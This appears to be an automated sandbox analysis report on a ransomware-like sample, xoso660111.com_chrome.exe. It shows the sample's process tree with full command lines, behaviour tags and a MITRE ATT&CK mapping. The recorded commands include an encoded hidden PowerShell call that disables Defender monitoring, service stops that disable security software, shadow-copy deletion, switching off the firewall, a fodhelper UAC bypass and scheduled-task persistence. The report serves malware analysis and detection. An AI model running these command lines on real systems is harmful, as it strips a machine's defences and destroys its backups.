PID 552 wrote to memory of 1648	552	chrome.exe	107
PID 552 wrote to memory of 1648	552	chrome.exe	107
PID 1952 wrote to memory of 1380	1952	xoso660111.com_chrome.exe	109
PID 1952 wrote to memory of 3384	1952	xoso660111.com_chrome.exe	111
PID 1952 wrote to memory of 3212	1952	xoso660111.com_chrome.exe	113
PID 552 wrote to memory of 1692	552	chrome.exe	115
PID 552 wrote to memory of 1692	552	chrome.exe	115
PID 1952 wrote to memory of 1696	1952	xoso660111.com_chrome.exe	116
PID 1952 wrote to memory of 3404	1952	xoso660111.com_chrome.exe	118
PID 1952 wrote to memory of 5108	1952	xoso660111.com_chrome.exe	119
PID 1952 wrote to memory of 420	1952	xoso660111.com_chrome.exe	121
PID 3404 wrote to memory of 2036	3404	fodhelper.exe	123
PID 1952 wrote to memory of 6084	1952	xoso660111.com_chrome.exe	124
PID 1952 wrote to memory of 2688	1952	xoso660111.com_chrome.exe	126
PID 1952 wrote to memory of 2152	1952	xoso660111.com_chrome.exe	200
PID 1952 wrote to memory of 1660	1952	xoso660111.com_chrome.exe	134
PID 1952 wrote to memory of 2360	1952	xoso660111.com_chrome.exe	136
PID 1952 wrote to memory of 2820	1952	xoso660111.com_chrome.exe	141
PID 1952 wrote to memory of 4944	1952	xoso660111.com_chrome.exe	143
PID 1952 wrote to memory of 2896	1952	xoso660111.com_chrome.exe	144
PID 1952 wrote to memory of 5788	1952	xoso660111.com_chrome.exe	145
PID 1952 wrote to memory of 3844	1952	xoso660111.com_chrome.exe	146
PID 1952 wrote to memory of 1300	1952	xoso660111.com_chrome.exe	147
PID 1952 wrote to memory of 4812	1952	xoso660111.com_chrome.exe	148
PID 1952 wrote to memory of 4860	1952	xoso660111.com_chrome.exe	152
PID 1952 wrote to memory of 4124	1952	xoso660111.com_chrome.exe	157
PID 1952 wrote to memory of 5060	1952	xoso660111.com_chrome.exe	158
PID 2820 wrote to memory of 3016	2820	cmd.exe	159
PID 5788 wrote to memory of 3424	5788	cmd.exe	179
PID 2896 wrote to memory of 6100	2896	cmd.exe	161
PID 1300 wrote to memory of 3948	1300	cmd.exe	162
PID 3844 wrote to memory of 2256	3844	cmd.exe	163
PID 2256 wrote to memory of 2548	2256	net.exe	164
PID 4944 wrote to memory of 4780	4944	cmd.exe	165
PID 4812 wrote to memory of 4564	4812	cmd.exe	166
PID 1952 wrote to memory of 2156	1952	xoso660111.com_chrome.exe	167
PID 1952 wrote to memory of 2380	1952	xoso660111.com_chrome.exe	168
PID 1952 wrote to memory of 5632	1952	xoso660111.com_chrome.exe	169
PID 1952 wrote to memory of 2056	1952	xoso660111.com_chrome.exe	170
PID 1952 wrote to memory of 1284	1952	xoso660111.com_chrome.exe	171
PID 1952 wrote to memory of 3084	1952	xoso660111.com_chrome.exe	172
PID 5632 wrote to memory of 3424	5632	net.exe	179
PID 2820 wrote to memory of 3528	2820	cmd.exe	180
PID 552 wrote to memory of 4436	552	chrome.exe	181
PID 552 wrote to memory of 4508	552	chrome.exe	182
PID 552 wrote to memory of 3180	552	chrome.exe	183
PID 552 wrote to memory of 4508	552	chrome.exe	182
PID 552 wrote to memory of 3180	552	chrome.exe	183

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoso660111.com
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffb733dc728,0x7ffb733dc734,0x7ffb733dc740
    3⤵
    PID:3328
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,6510007746917329132,14288936090091106229,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,3300269988958975257,18331333818159399111,262144 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:2
    3⤵
    PID:4332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,13096519472106288787,15344305791257239407,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:13
    3⤵
    PID:5048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,14218350145116001929,16803021512589751217,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:1
    3⤵
    PID:5864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3128,i,17484791901519445809,8723989838939550608,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=1868 /prefetch:1
    3⤵
    PID:3392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4672,i,10222324725960600554,5225416968373547906,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:14
    3⤵
    PID:1648
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4840,i,16311397328851790871,15804084201525849986,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
    3⤵
    PID:1692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3296,i,10482129173588028514,8390750746937106793,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:14
    3⤵
    PID:4436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5476,i,7932135497087935951,16015101751500534601,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:4508
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5488,i,13586784450428142885,1951423775339202446,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:1
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5464,i,1060164982414529158,15852782972791924354,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:1
    3⤵
    PID:3824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5812,i,17363148929753193126,133837842181629056,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:14
    3⤵
    PID:2800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5940,i,7991027064440399493,11872347526774182867,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:1
    3⤵
    PID:2468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5960,i,3295267994109993364,9539344363639257848,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:1
    3⤵
    PID:5476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=3488,i,9732745868576555544,1696373386733898084,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:1
    3⤵
    PID:5044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6004,i,18045579295244619625,1615284853758391477,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:14
    3⤵
    PID:5688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5988,i,15676446909329882636,6926944255386608362,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
    3⤵
    PID:1056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6260,i,11914120116322846662,6582673652055706647,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=6184 /prefetch:14
    3⤵
    PID:4904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5584,i,14045290414171728435,6010302207193992383,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
    3⤵
    PID:3472
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4836,i,8756922466005941699,3299204905010783881,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:9
    3⤵
    PID:4752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5340,i,13912627963227833852,12115099725619389421,2097152 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:1
    3⤵
    PID:5796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=1868,i,7338542351045099629,13833670691477007166,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=256 /prefetch:14
    3⤵
    PID:1200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5768,i,8476894836292939755,2732864575793261655,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:14
    3⤵
    PID:2152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5688,i,16644611194315106,1333912050683628844,524288 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:14
    3⤵
    PID:2832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5916,i,2527994414178916897,17070774879776579530,262144 --field-trial-handle=1932,i,9702471642204056151,7740048716638765761,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:10
    3⤵
    PID:4776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:3708
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3244
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1380
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3384
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:3212
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1696
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3404
- - C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe"
    3⤵
    PID:2036
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5108
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:420
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6084
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2152
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1660
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3016
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    PID:3528
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3424
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2256
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4564
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4860
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4124
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5060
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2156
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  PID:2380
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5632
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3424
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1284
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3084

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4628

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:924

C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe
1⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoso660111.com_chrome.exe
1⤵
PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery